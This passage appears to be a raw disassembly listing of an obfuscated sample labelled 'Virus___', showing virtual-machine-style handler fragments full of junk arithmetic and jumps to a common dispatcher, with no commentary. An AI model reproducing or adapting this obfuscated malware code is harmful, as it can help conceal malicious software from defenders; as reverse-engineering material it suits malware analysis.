ptr [esp] pop eax push 0C74h mov [esp], eax jmp loc_58F01E ; --------------------------------------------------------------------------- loc_58D9EF: ; CODE XREF: Virus___:00582D2Dj shr ebp, 5 jmp loc_586BCF ; --------------------------------------------------------------------------- loc_58D9F7: ; CODE XREF: Virus___:00592E35j mov ecx, 7F10605Eh not ecx inc ecx sub ecx, 464946BAh add edi, ecx pop ecx pop ebx mov edx, edi jmp loc_583913 ; --------------------------------------------------------------------------- loc_58DA10: ; CODE XREF: Virus___:0058F3F5j dec edi jmp loc_592C09 ; --------------------------------------------------------------------------- dw 2489h dd 24048324h, 7660E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58DA22: ; CODE XREF: Virus___:00584726j mov bh, 67h or dh, bh pop ebx push 4665h mov [esp], ecx push dx jmp loc_58CA2E ; --------------------------------------------------------------------------- loc_58DA36: ; CODE XREF: Virus___:00582F45j add eax, ecx sub eax, 0BAC41CDh add eax, 12153EC3h pop ecx push eax push ecx jmp loc_58C542 ; --------------------------------------------------------------------------- loc_58DA4A: ; CODE XREF: Virus___:0058163Fj neg eax sub eax, 2C1E46F2h sub eax, 1A61BB38h add edx, eax pop eax jmp loc_58C8EA ; --------------------------------------------------------------------------- loc_58DA5E: ; CODE XREF: Virus___:00586E77j xor al, bl mov ebx, [esp] jmp loc_58B01E ; --------------------------------------------------------------------------- mov cx, [esp] push esi push esp jmp loc_58F2EC ; --------------------------------------------------------------------------- loc_58DA73: ; CODE XREF: Virus___:0058211Bj add esp, 4 pop dword ptr [esp] pop esp mov cx, [esp] jmp loc_58EC46 ; --------------------------------------------------------------------------- loc_58DA86: ; CODE XREF: Virus___:00593471j xchg ebx, [esp] mov esp, [esp] jmp loc_58A3C6 ; --------------------------------------------------------------------------- mov cx, [esp] push ecx push esp jmp loc_58F67C ; --------------------------------------------------------------------------- loc_58DA9C: ; CODE XREF: Virus___:00585954j mov edi, [esp] add esp, 4 jmp loc_58E192 ; --------------------------------------------------------------------------- loc_58DAAA: ; CODE XREF: Virus___:005811BBj push esi mov esi, esp push ecx push eax mov eax, 4 push 3A49h mov [esp], eax mov ecx, [esp] jmp loc_5901BF ; --------------------------------------------------------------------------- loc_58DAC4: ; CODE XREF: Virus___:0058F7EBj mov [esp], esi jmp loc_585343 ; --------------------------------------------------------------------------- loc_58DACC: ; CODE XREF: Virus___:00593BE7j mov [esp], eax mov eax, esp push ebp mov ebp, 19BA30B7h and ebp, 764D17E7h jmp loc_587911 ; --------------------------------------------------------------------------- loc_58DAE2: ; CODE XREF: Virus___:0059347Cj push eax mov eax, 41ED496Ah inc eax sub esp, 4 mov [esp], ecx mov ecx, 1201563h add eax, ecx pop ecx xor eax, 430D5ECAh jmp loc_57FE92 ; --------------------------------------------------------------------------- loc_58DB01: ; CODE XREF: Virus___:00587DCDj add eax, 0FFFFFFFFh add eax, 27F84FBEh and esi, eax pop eax add esi, 0D5052B74h add ecx, esi pop esi add ecx, esi push ebp mov ebp, 1853BB7h sub ecx, ebp pop ebp mov esi, [esp] add esp, 4 push 7559h mov [esp], ecx jmp loc_58883C ; --------------------------------------------------------------------------- loc_58DB35: ; CODE XREF: Virus___:00587655j push ebp add dword ptr [esp], 65F735EDh jmp loc_581F6B ; --------------------------------------------------------------------------- loc_58DB42: ; CODE XREF: Virus___:0058890Cj sub esp, 4 jmp loc_586B6B ; --------------------------------------------------------------------------- loc_58DB4A: ; CODE XREF: Virus___:0058F58Ej push edx push edi jmp loc_57FCB1 ; --------------------------------------------------------------------------- loc_58DB51: ; CODE XREF: Virus___:00585085j push edx mov edx, 65A56C7h and edx, 3FD044F1h and edx, 0CA5634Bh xor edx, 14206C92h dec edx jmp loc_58D3DC ; --------------------------------------------------------------------------- loc_58DB6F: ; CODE XREF: Virus___:0059297Ej sub esp, 4 jmp loc_58392E ; --------------------------------------------------------------------------- loc_58DB7A: ; CODE XREF: Virus___:0058B34Fj mov [esp], esi push esp jmp loc_58193D ; --------------------------------------------------------------------------- loc_58DB83: ; CODE XREF: Virus___:0058FBBEj mov edx, esp jmp loc_58B073 ; --------------------------------------------------------------------------- push ecx push esp pop ecx push eax jmp loc_5926A3 ; --------------------------------------------------------------------------- loc_58DB93: ; CODE XREF: Virus___:00589B4Aj sub ebx, edi add ebx, 17BA471Fh pop edi xchg ebx, [esp] mov esp, [esp] mov [esp], dx jmp loc_589A55 ; --------------------------------------------------------------------------- loc_58DBAB: ; CODE XREF: Virus___:0058E7EAj add eax, 4 xchg eax, [esp] pop esp push ebp mov ebp, 3D2C405Dh shl ebp, 2 sub ebp, 77421416h and ebp, 15836B02h shl ebp, 1 not ebp add ebp, 4B57DF45h xor ecx, ebp pop ebp jmp loc_59412E ; --------------------------------------------------------------------------- loc_58DBD9: ; CODE XREF: Virus___:005831D6j push edx mov edx, 7D245B48h add edx, 6F233253h shl edx, 3 add edx, 0DF2CDA07h xor eax, edx pop edx mov ebp, eax pop eax sub ebx, 1697ABBh jmp loc_589224 ; --------------------------------------------------------------------------- loc_58DBFF: ; CODE XREF: Virus___:0059003Ej mov eax, esp add eax, 4 jmp loc_58CC2F ; --------------------------------------------------------------------------- loc_58DC0B: ; CODE XREF: Virus___:00582E95j sub cl, 2Ah mov bh, cl pop ecx sub esp, 4 jmp loc_58AE29 ; --------------------------------------------------------------------------- loc_58DC1C: ; CODE XREF: Virus___:0058F91Ej push 5F02h jmp loc_58302B ; --------------------------------------------------------------------------- loc_58DC26: ; CODE XREF: Virus___:0059332Aj add ebp, 4 add ebp, 4 jmp loc_58D660 ; --------------------------------------------------------------------------- loc_58DC37: ; CODE XREF: Virus___:00581356j or esi, 64C60817h not esi jmp loc_58D93A ; --------------------------------------------------------------------------- loc_58DC44: ; CODE XREF: Virus___:0058F75Ej sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi jmp loc_581EAF ; --------------------------------------------------------------------------- loc_58DC5A: ; CODE XREF: Virus___:00591A65j sub edi, esi pop esi add edi, 1C461B93h pop ecx jmp loc_59399A ; --------------------------------------------------------------------------- loc_58DC69: ; CODE XREF: Virus___:0057F91Cj add esi, edi pop edi pop edx add esi, 2 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] shr word ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58DC89: ; CODE XREF: Virus___:0058A7DAj pop esp btr [esp], ax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58DC95: ; CODE XREF: Virus___:00594106j pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ecx jmp loc_58A1C8 ; --------------------------------------------------------------------------- loc_58DCB9: ; CODE XREF: Virus___:0058A765j sub ebp, eax push 5E9h mov [esp], edx mov edx, 3D591A61h and edx, 3729220Eh jmp loc_58FA90 ; --------------------------------------------------------------------------- push dword ptr [esp] mov edx, [esp] push eax push esp pop eax push edx mov edx, 4 add eax, edx pop edx push ebx jmp loc_58F530 ; --------------------------------------------------------------------------- loc_58DCEB: ; CODE XREF: Virus___:0058A0EFj xor ebx, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] push 4E7Eh mov [esp], ebp jmp loc_58F174 ; --------------------------------------------------------------------------- lodsw xor ax, bx sub esp, 2 mov [esp], dx push 4C8Bh mov [esp], esi mov si, 7572h jmp loc_58B081 ; --------------------------------------------------------------------------- loc_58DD24: ; CODE XREF: Virus___:00589E6Fj pop ecx pop dword ptr [esp] pop esp add eax, ebx push esi push 79A5555Bh pop esi add esi, 6224D15h push edx mov edx, 73083525h not edx not edx xor edx, 5AB71905h sub esi, edx pop edx jmp loc_58F5CF ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58DD58: ; CODE XREF: Virus___:0058545Cj mov edi, [esp] add esp, 4 push esi mov esi, 21B80014h inc esi jmp loc_591C77 ; --------------------------------------------------------------------------- loc_58DD6D: ; CODE XREF: Virus___:005835A4j push ecx mov ecx, 742F54FEh add ecx, 430AE197h xor edi, ecx pop ecx xor ebp, edi mov edi, [esp] push ebp mov ebp, esp jmp loc_586852 ; --------------------------------------------------------------------------- loc_58DD89: ; CODE XREF: Virus___:00592EEFj push edi mov edi, 27F24B9Dh add esi, edi pop edi add esi, edx push ebp mov ebp, 279E3FD0h and ebp, 8BF3DFAh add ebp, 1585498Fh jmp loc_5863ED ; --------------------------------------------------------------------------- loc_58DDAB: ; CODE XREF: Virus___:005889ACj pop ebx add ebp, esi pop esi push 1009h mov [esp], edi mov edi, 4 sub ebp, 7994422Bh sub ebp, edi jmp loc_58DF26 ; --------------------------------------------------------------------------- loc_58DDC9: ; CODE XREF: Virus___:0058E696j pop eax jmp loc_5932F8 ; --------------------------------------------------------------------------- loc_58DDCF: ; CODE XREF: Virus___:00588FA5j mov eax, [esp] jmp loc_594010 ; --------------------------------------------------------------------------- loc_58DDD7: ; CODE XREF: Virus___:005922B5j mov ebx, 4 sub dword ptr [esp+4], 61B318ECh add [esp+4], ebx add dword ptr [esp+4], 61B318ECh mov ebx, [esp] jmp loc_58B02F ; --------------------------------------------------------------------------- loc_58DDF8: ; CODE XREF: Virus___:0058996Cj not edx shr edx, 2 not edx jmp loc_590DBB ; --------------------------------------------------------------------------- loc_58DE04: ; CODE XREF: Virus___:00588A6Cj sub [esp], ebp pop ebp or ebp, 3A2B2037h xor ebp, 3CC0FEAh shr ebp, 6 add ebp, 7E581587h sub ebp, 0DDF04368h jmp loc_5937F3 ; --------------------------------------------------------------------------- loc_58DE28: ; CODE XREF: Virus___:005904E9j jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58DE2D: ; CODE XREF: Virus___:0058528Bj mov ebx, 10456603h jmp loc_59054D ; --------------------------------------------------------------------------- loc_58DE37: ; CODE XREF: Virus___:0058D8F9j sub ebx, 30EC795Ch add ebx, edx add ebx, 30EC795Ch pop edx sub ebx, 4 jmp loc_58C321 ; --------------------------------------------------------------------------- loc_58DE51: ; CODE XREF: Virus___:0058C31Cj add esp, 4 xor ebx, 45AF5B4Ch mov edi, [esp] push ecx jmp loc_588FE2 ; --------------------------------------------------------------------------- loc_58DE63: ; CODE XREF: Virus___:0058CA5Dj push 2065h mov [esp], ebx mov ebx, 253C26EAh push 67FFh mov [esp], edx mov edx, 40C70E0Fh add edx, 1 shl edx, 1 xor edx, 0F22126A5h and ebx, edx mov edx, [esp] add esp, 4 xor ebx, 41225F27h push edx mov edx, 1DC32D36h xor edx, 27077D42h jmp loc_5809BC ; --------------------------------------------------------------------------- loc_58DEAA: ; CODE XREF: Virus___:00586679j sub ebx, ebp pop ebp jmp loc_593143 ; --------------------------------------------------------------------------- loc_58DEB2: ; CODE XREF: Virus___:00592656j add esp, 4 push edi mov edi, 2 add ebp, edi pop edi xchg ebp, [esp] jmp loc_58CF6F ; --------------------------------------------------------------------------- loc_58DEC6: ; CODE XREF: Virus___:0058AF89j mov edi, ebp jmp loc_589342 ; --------------------------------------------------------------------------- loc_58DECD: ; CODE XREF: Virus___:00588F12j push dword ptr [esp] pop edi add esp, 4 push 0B36h mov [esp], eax jmp loc_58A7A2 ; --------------------------------------------------------------------------- loc_58DEE4: ; CODE XREF: Virus___:00584C70j inc edi or edi, 1C8F5140h xor edi, 695A282Dh push ebx mov ebx, 5E20451h neg ebx jmp loc_590F0E ; --------------------------------------------------------------------------- loc_58DEFE: ; CODE XREF: Virus___:00585898j push ecx push 34764110h pop ecx neg ecx push ebp mov ebp, 71B19296h add ecx, 109B075Fh add ecx, ebp jmp loc_58E706 ; --------------------------------------------------------------------------- loc_58DF1A: ; CODE XREF: Virus___:00581652j mov esp, [esp] mov ax, [esp] jmp loc_5911EB ; --------------------------------------------------------------------------- loc_58DF26: ; CODE XREF: Virus___:0058DDC4j push esi mov esi, 73071F7Bh jmp loc_58081C ; --------------------------------------------------------------------------- loc_58DF31: ; CODE XREF: Virus___:00586C46j mov eax, 27A97422h inc eax add eax, 60872039h neg eax shr eax, 3 sub eax, 0B7879B5h sub eax, 0B1E2F9EEh xchg eax, ecx jmp loc_5814B1 ; --------------------------------------------------------------------------- loc_58DF51: ; CODE XREF: Virus___:005882E6j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp movzx ecx, al push edx jmp loc_582365 ; --------------------------------------------------------------------------- loc_58DF64: ; CODE XREF: Virus___:00585652j mov bx, [esp] push edi mov edi, esp jmp loc_585401 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_58EC39 ; --------------------------------------------------------------------------- loc_58DF79: ; CODE XREF: Virus___:00588C04j mov edi, 1D2593Ch push ecx mov ecx, 48072953h and edi, ecx pop ecx sub edi, 2090Ch jmp loc_588F38 ; --------------------------------------------------------------------------- loc_58DF92: ; CODE XREF: Virus___:005944AEj mov edi, 31675D17h sub edi, 0DC86545h push ecx push edi jmp loc_58EAA0 ; --------------------------------------------------------------------------- loc_58DFA4: ; CODE XREF: Virus___:0058C96Aj mov esi, 4C7A2D0Bh push esi dec dword ptr [esp] pop esi xchg ebp, esi not ebp xchg ebp, esi sub esi, 49577399h sub esi, 0C9D3E55h push eax push edi jmp loc_586AA8 ; --------------------------------------------------------------------------- loc_58DFC7: ; CODE XREF: Virus___:0057F74Dj pop esp and eax, edx push dword ptr [esp] jmp loc_58720D ; --------------------------------------------------------------------------- loc_58DFD2: ; CODE XREF: Virus___:0058E647j add eax, 4 add eax, 4 jmp loc_58A9D8 ; --------------------------------------------------------------------------- loc_58DFE1: ; CODE XREF: Virus___:0058E767j mov eax, 0A356C176h add ebp, eax pop eax jmp loc_581BB1 ; --------------------------------------------------------------------------- loc_58DFEE: ; CODE XREF: Virus___:0058C4FFj mov ebp, 7C60BC2h add eax, ebp mov ebp, [esp] add esp, 4 add eax, 4E8C0EFEh add eax, ebp push ebp mov ebp, 7B4D3C11h or ebp, 798B4956h inc ebp shr ebp, 5 not ebp push eax jmp loc_591CDA ; --------------------------------------------------------------------------- loc_58E01D: ; CODE XREF: Virus___:0058F537j pop ebx push 2950h mov [esp], eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push 0D80h mov [esp], esi push esp jmp loc_588338 ; --------------------------------------------------------------------------- loc_58E047: ; CODE XREF: Virus___:005889E4j dec ebp xor ebp, 3AE76F76h sub ebp, 0FFFFFFFFh push ebx mov ebx, 16B63661h inc ebx xor ebx, 2EC9652h add ebp, ebx pop ebx mov edx, ebp pop ebp jmp loc_591F68 ; --------------------------------------------------------------------------- loc_58E06C: ; CODE XREF: Virus___:00582208j add esp, 4 mov esi, eax pop eax add eax, esi pop esi add ecx, 469F7879h add ecx, eax sub ecx, 469F7879h pop eax add ecx, 4 xor ecx, [esp] jmp loc_590A4B ; --------------------------------------------------------------------------- loc_58E092: ; CODE XREF: Virus___:00587054j mov ebx, [esp] add esp, 4 push edi mov edi, 486F7488h sub ebx, 84D5852h add ebx, edi add ebx, 84D5852h pop edi push 3A34h jmp loc_58D8FE ; --------------------------------------------------------------------------- loc_58E0B7: ; CODE XREF: Virus___:00591054j push ebx push edx jmp loc_585D7E ; --------------------------------------------------------------------------- loc_58E0BE: ; CODE XREF: Virus___:005825DFj shl ebp, 3 jmp loc_581F13 ; --------------------------------------------------------------------------- loc_58E0C6: ; CODE XREF: Virus___:0057F4BAj sub esp, 4 mov [esp], ebp mov ebp, 2 jmp loc_580703 ; --------------------------------------------------------------------------- dw 6C68h dd 0E9000038h, 0FFFFF936h ; --------------------------------------------------------------------------- loc_58E0E0: ; CODE XREF: Virus___:00591D16j sub edx, 4 push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 jmp loc_58B8C5 ; --------------------------------------------------------------------------- loc_58E0F6: ; CODE XREF: Virus___:005818C0j pop esp mov ebp, ecx pop ecx and [edi+1Ch], ebp jmp loc_58CF7A ; --------------------------------------------------------------------------- loc_58E102: ; CODE XREF: Virus___:00594060j add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_58413F ; --------------------------------------------------------------------------- loc_58E114: ; CODE XREF: Virus___:005936E1j mov [esp], ebx jmp loc_584E6D ; --------------------------------------------------------------------------- loc_58E11C: ; CODE XREF: Virus___:005822E2j mov eax, 7A981FECh add ebx, 5530256h sub ebx, eax sub ebx, 5530256h mov eax, [esp] jmp loc_5818C5 ; --------------------------------------------------------------------------- loc_58E137: ; CODE XREF: Virus___:0058A0F9j push esp pop ebp add ebp, 4 jmp loc_5854E8 ; --------------------------------------------------------------------------- loc_58E144: ; CODE XREF: Virus___:00580A82j sub [esp+4], eax pop eax pop edx add edx, 20430D45h mov ecx, [esp] sub esp, 4 jmp loc_59045C ; --------------------------------------------------------------------------- loc_58E15E: ; CODE XREF: Virus___:00584CB9j push ecx mov ecx, 5CC12E80h shr ecx, 6 inc ecx dec ecx xor ecx, 17304BEh add ebp, ecx pop ecx add ebp, 2 sub esp, 4 mov [esp], ebp jmp loc_57FC7D ; --------------------------------------------------------------------------- loc_58E180: ; CODE XREF: Virus___:00593B5Bj pop ebp sub ebp, 1EF44029h jmp loc_5900DB ; --------------------------------------------------------------------------- loc_58E18C: ; CODE XREF: Virus___:005823CDj pop ecx jmp loc_5809A9 ; --------------------------------------------------------------------------- loc_58E192: ; CODE XREF: Virus___:0058DAA5j push ebx jmp loc_580437 ; --------------------------------------------------------------------------- loc_58E198: ; CODE XREF: Virus___:0058994Cj mov ecx, [esp] add esp, 4 jmp loc_58B29B ; --------------------------------------------------------------------------- loc_58E1A6: ; CODE XREF: Virus___:005935ABj xor edi, [esp] mov esp, [esp] add ebx, 4 push 2BF4h mov [esp], edx mov edx, 26084DBDh jmp loc_593EDD ; --------------------------------------------------------------------------- loc_58E1C4: ; CODE XREF: Virus___:0058C01Ej pop ecx pop ebp jmp loc_580DAE ; --------------------------------------------------------------------------- loc_58E1CB: ; CODE XREF: Virus___:0058B713j push edx not dword ptr [esp] jmp loc_583B95 ; --------------------------------------------------------------------------- loc_58E1D4: ; CODE XREF: Virus___:0058446Fj shl ecx, 4 shl ecx, 3 jmp loc_58587B ; --------------------------------------------------------------------------- loc_58E1DF: ; CODE XREF: Virus___:005922FCj sub ebx, 0CDF52FC8h xor edi, ebx jmp loc_592546 ; --------------------------------------------------------------------------- loc_58E1EC: ; CODE XREF: Virus___:00592BA3j mov edx, 301154ADh shl edx, 2 xor edx, 0D9D6286Eh xor edi, edx jmp loc_57FAE3 ; --------------------------------------------------------------------------- loc_58E201: ; CODE XREF: Virus___:00589D89j xor ebx, [esp] mov esp, [esp] jmp loc_592CF2 ; --------------------------------------------------------------------------- loc_58E20C: ; CODE XREF: Virus___:005806E2j add eax, ecx jmp loc_5887AC ; --------------------------------------------------------------------------- loc_58E213: ; CODE XREF: Virus___:0058FFF5j xor [esp], ebp jmp loc_58266F ; --------------------------------------------------------------------------- loc_58E21B: ; CODE XREF: Virus___:00584E6Fj push eax mov ah, 99h mov ch, 0A5h jmp loc_58901A ; --------------------------------------------------------------------------- loc_58E225: ; CODE XREF: Virus___:0058F022j pop dword ptr [esp] jmp loc_591788 ; --------------------------------------------------------------------------- lodsb push bx jmp loc_58E2A8 ; --------------------------------------------------------------------------- loc_58E235: ; CODE XREF: Virus___:00591D8Cj push 4B34h mov [esp], ecx mov ecx, 7C3549F2h push esi mov esi, 7C3549F1h add ecx, 5895362Ah sub ecx, 1BA0487Eh sub ecx, esi add ecx, 1BA0487Eh jmp loc_588950 ; --------------------------------------------------------------------------- loc_58E261: ; CODE XREF: Virus___:00586A7Cj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add bl, 93h sub esp, 4 mov [esp], edx push eax mov ah, 4Ah mov dh, ah jmp loc_58A871 ; --------------------------------------------------------------------------- lodsd push 40FBh jmp loc_59026F ; --------------------------------------------------------------------------- loc_58E291: ; CODE XREF: Virus___:00588C69j mov [esp], ecx mov ecx, 35A87A4Ch sub edx, ecx mov ecx, [esp] add esp, 4 sub edx, ebp jmp loc_593814 ; --------------------------------------------------------------------------- loc_58E2A8: ; CODE XREF: Virus___:0058E230j mov bl, 18h sub al, 0F4h jmp loc_5935B0 ; --------------------------------------------------------------------------- loc_58E2B1: ; CODE XREF: Virus___:00585DF4j push edi push eax push 578A4546h jmp loc_591A23 ; --------------------------------------------------------------------------- loc_58E2BD: ; CODE XREF: Virus___:00586D16j add eax, edi jmp loc_5939D2 ; --------------------------------------------------------------------------- loc_58E2C4: ; CODE XREF: Virus___:0059453Dj add esp, 4 add ebx, 5EF22D98h push 7E8Eh mov [esp], ebp push ecx mov ecx, 4E754A64h dec ecx inc ecx neg ecx not ecx sub ecx, 594D189Ch jmp loc_5823D2 ; --------------------------------------------------------------------------- loc_58E2EC: ; CODE XREF: Virus___:0058022Dj push ebx push esp pop ebx push edi mov edi, 4 add ebx, edi pop edi jmp loc_58E504 ; --------------------------------------------------------------------------- loc_58E2FD: ; CODE XREF: Virus___:00588F4Dj push ecx mov ecx, 48707B96h sub eax, 3EDA43B3h sub eax, ecx add eax, 3EDA43B3h pop ecx push 7DB3h jmp loc_5889E9 ; --------------------------------------------------------------------------- loc_58E31A: ; CODE XREF: Virus___:0058FB87j mov dl, 16h add bl, dl pop dx push 6B80h mov [esp], eax push edx mov dh, 2Bh dec dh sub dh, 0C3h push 65C9h mov [esp], ecx mov ch, 0FEh shl ch, 6 sub ch, 0BFh shr ch, 1 xor ch, 26h add dh, ch pop ecx mov al, dh pop edx jmp loc_5882BE ; --------------------------------------------------------------------------- loc_58E350: ; CODE XREF: Virus___:0058A596j mov ecx, esp jmp loc_58F782 ; --------------------------------------------------------------------------- loc_58E357: ; CODE XREF: Virus___:0058F0F9j pop ecx xchg edx, [esp] jmp loc_584804 ; --------------------------------------------------------------------------- loc_58E360: ; CODE XREF: Virus___:00586C75j push 58CB1C77h pop ebx jmp loc_591508 ; --------------------------------------------------------------------------- loc_58E36B: ; CODE XREF: Virus___:0058E7DAj shl ebx, 1 jmp loc_58EE42 ; --------------------------------------------------------------------------- loc_58E372: ; CODE XREF: Virus___:0058AE53j mov ebp, [esp] jmp loc_5909CE ; --------------------------------------------------------------------------- loc_58E37A: ; CODE XREF: Virus___:00591247j jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58E37F: ; CODE XREF: Virus___:00592482j mov edi, [esp] add esp, 4 neg eax jmp loc_5892F5 ; --------------------------------------------------------------------------- loc_58E38F: ; CODE XREF: Virus___:005827C3j mov cx, [esp] push 57DAh jmp loc_590B64 ; --------------------------------------------------------------------------- loc_58E39D: ; CODE XREF: Virus___:00584357j add ebx, ecx pop ecx add ebx, ebp sub ebx, 65BC3CBFh push ecx mov ecx, 1F53F4Fh add ebx, ecx jmp loc_590645 ; --------------------------------------------------------------------------- loc_58E3B5: ; CODE XREF: Virus___:0058FBE1j mov [esp], esi mov esi, 19950B83h xor esi, 17436D8Dh push edx mov edx, 7F526F89h or esi, edx pop edx and esi, 69094D38h jmp loc_58B256 ; --------------------------------------------------------------------------- loc_58E3D7: ; CODE XREF: Virus___:005930B1j sub ebx, 8DD0314h pop eax jmp loc_5913B8 ; --------------------------------------------------------------------------- loc_58E3E3: ; CODE XREF: Virus___:00593976j mov [esp], esi mov esi, 665D3054h mov edx, esi pop esi jmp loc_589B9A ; --------------------------------------------------------------------------- loc_58E3F3: ; CODE XREF: Virus___:00584A17j mov [esp], esi mov esi, 0D8E42C1h and edi, esi mov esi, [esp] jmp loc_5922CE ; --------------------------------------------------------------------------- loc_58E405: ; CODE XREF: Virus___:0058AC3Cj xor [esp], edx xor edx, [esp] jmp loc_581757 ; --------------------------------------------------------------------------- loc_58E410: ; CODE XREF: Virus___:00588775j pop edi pop eax xor edx, [esp] jmp loc_59327E ; --------------------------------------------------------------------------- loc_58E41A: ; CODE XREF: Virus___:0058FAEDj mov esi, [esp] add esp, 4 jmp loc_590D6E ; --------------------------------------------------------------------------- loc_58E428: ; CODE XREF: Virus___:00591313j mov edx, esi pop esi jmp loc_584506 ; --------------------------------------------------------------------------- loc_58E430: ; CODE XREF: Virus___:0058BC4Bj xor ah, 4Ah add ch, ah pop eax add ch, 59h add bl, ch pop ecx movzx eax, al push dword ptr [edi+eax*4] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58E447: ; CODE XREF: Virus___:0058D86Dj push ecx jmp loc_590F15 ; --------------------------------------------------------------------------- loc_58E44D: ; CODE XREF: Virus___:0059210Cj push ebp jmp loc_58CC25 ; --------------------------------------------------------------------------- loc_58E453: ; CODE XREF: Virus___:0058A5F1j mov [esp], ebp jmp loc_583AEF ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ecx push 200h push dword ptr [esp] pop ecx sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop esi add esp, 4 add esi, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_58CCF5 ; --------------------------------------------------------------------------- loc_58E4A7: ; CODE XREF: Virus___:00588539j add esp, 4 add eax, 4FD55C28h jmp loc_5826E1 ; --------------------------------------------------------------------------- loc_58E4B7: ; CODE XREF: Virus___:0057F72Bj sub dword ptr [esp+4], 7B9A0F33h add [esp+4], eax add dword ptr [esp+4], 7B9A0F33h pop eax pop ebx add ebx, 4 push ebp mov ebp, 4 sub ebx, ebp pop ebp push ebx push dword ptr [esp+4] pop ebx jmp loc_580299 ; --------------------------------------------------------------------------- loc_58E4E7: ; CODE XREF: Virus___:00592C04j sub edx, 4A27154Ah shr edx, 7 add edx, 0FFA02E5Dh add esi, edx pop edx push ebp mov ebp, 4 jmp loc_584D00 ; --------------------------------------------------------------------------- loc_58E504: ; CODE XREF: Virus___:0058E2F8j add ebx, 4 xchg ebx, [esp] pop esp push 3255h mov [esp], esi jmp loc_586909 ; --------------------------------------------------------------------------- loc_58E51B: ; CODE XREF: Virus___:00581160j pop edi add edx, ebx add edx, 5BD86D76h pop ebx sub edx, 4 xor edx, [esp] xor [esp], edx jmp loc_585B9C ; --------------------------------------------------------------------------- loc_58E536: ; CODE XREF: Virus___:00593705j mov esp, [esp] jmp loc_590FB6 ; --------------------------------------------------------------------------- loc_58E53E: ; CODE XREF: Virus___:00589316j xor [esp], dx mov ax, [esp] jmp loc_58D6A8 ; --------------------------------------------------------------------------- loc_58E54B: ; CODE XREF: Virus___:00593E99j add eax, ebp pop ebp xchg eax, [esp] pop esp jmp loc_586A33 ; --------------------------------------------------------------------------- loc_58E557: ; CODE XREF: Virus___:00588293j mov [esp], ebp push esp pop ebp add ebp, 4 push eax mov eax, 436044A2h inc eax shr eax, 7 push edi mov edi, 86C08Dh xor eax, edi mov edi, [esp] add esp, 4 sub ebp, eax pop eax push ebp jmp loc_587566 ; --------------------------------------------------------------------------- loc_58E583: ; CODE XREF: Virus___:0057F800j push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx mov ebx, 2 add edi, ebx mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_582103 ; --------------------------------------------------------------------------- loc_58E5B5: ; CODE XREF: Virus___:0058E5E4j pop esi shr esi, 5 jmp loc_591791 ; --------------------------------------------------------------------------- loc_58E5BE: ; CODE XREF: Virus___:0058D5B6j push esi mov esi, 0D9DF6FE3h sub edi, esi mov esi, [esp] add esp, 4 add ebx, edi pop edi xor edx, eax jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58E5D6: ; CODE XREF: Virus___:005921D4j mov ecx, [esp] jmp loc_590A97 ; --------------------------------------------------------------------------- loc_58E5DE: ; CODE XREF: Virus___:00589522j xchg edx, [esp] inc dword ptr [esp] jmp loc_58E5B5 ; --------------------------------------------------------------------------- loc_58E5E9: ; CODE XREF: Virus___:00586D56j add eax, edx add eax, 574C0422h push ebp mov ebp, 0D370D17h sub ebp, 2D4454F5h shr ebp, 3 inc ebp and ebp, 6BD95561h jmp loc_58CAAC ; --------------------------------------------------------------------------- loc_58E60B: ; CODE XREF: Virus___:0058B2E6j mov ebp, esp push ebx mov ebx, 4D797FA2h neg ebx jmp loc_584FFD ; --------------------------------------------------------------------------- loc_58E61A: ; CODE XREF: Virus___:00582C88j mov [esp], edi xchg eax, [esp] not eax xchg eax, [esp] pop edi shr edi, 8 add edi, 0FF4B6760h jmp loc_5875B3 ; --------------------------------------------------------------------------- loc_58E634: ; CODE XREF: Virus___:0058B434j not ecx inc ecx jmp loc_588919 ; --------------------------------------------------------------------------- loc_58E63C: ; CODE XREF: Virus___:0057FDFCj sub esp, 4 mov [esp], eax mov eax, esp jmp loc_58DFD2 ; --------------------------------------------------------------------------- loc_58E64C: ; CODE XREF: Virus___:0058168Cj sub edi, 473CE97Eh add ebp, edi pop edi sub esp, 4 mov [esp], ecx mov ecx, 38BC5ADCh and ecx, 76654B03h jmp loc_583FF3 ; --------------------------------------------------------------------------- loc_58E66B: ; CODE XREF: Virus___:0058E997j push ebp mov ebp, 4 add ecx, ebp pop ebp jmp loc_58F3AB ; --------------------------------------------------------------------------- loc_58E679: ; CODE XREF: Virus___:00589761j pop ecx push dword ptr [esp] pop ebp add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_58EDD5 ; --------------------------------------------------------------------------- loc_58E68F: ; CODE XREF: Virus___:00583CAEj mov eax, 3FEA326Bh sub ebp, eax jmp loc_58DDC9 ; --------------------------------------------------------------------------- loc_58E69B: ; CODE XREF: Virus___:00583216j push ebx push 794Eh mov [esp], ebp push esi mov esi, 31D33B63h dec esi xor esi, 1B3E40BCh add esi, 38706702h dec esi sub esi, 0FDD2D3D8h mov ebp, esi pop esi jmp loc_584DB6 ; 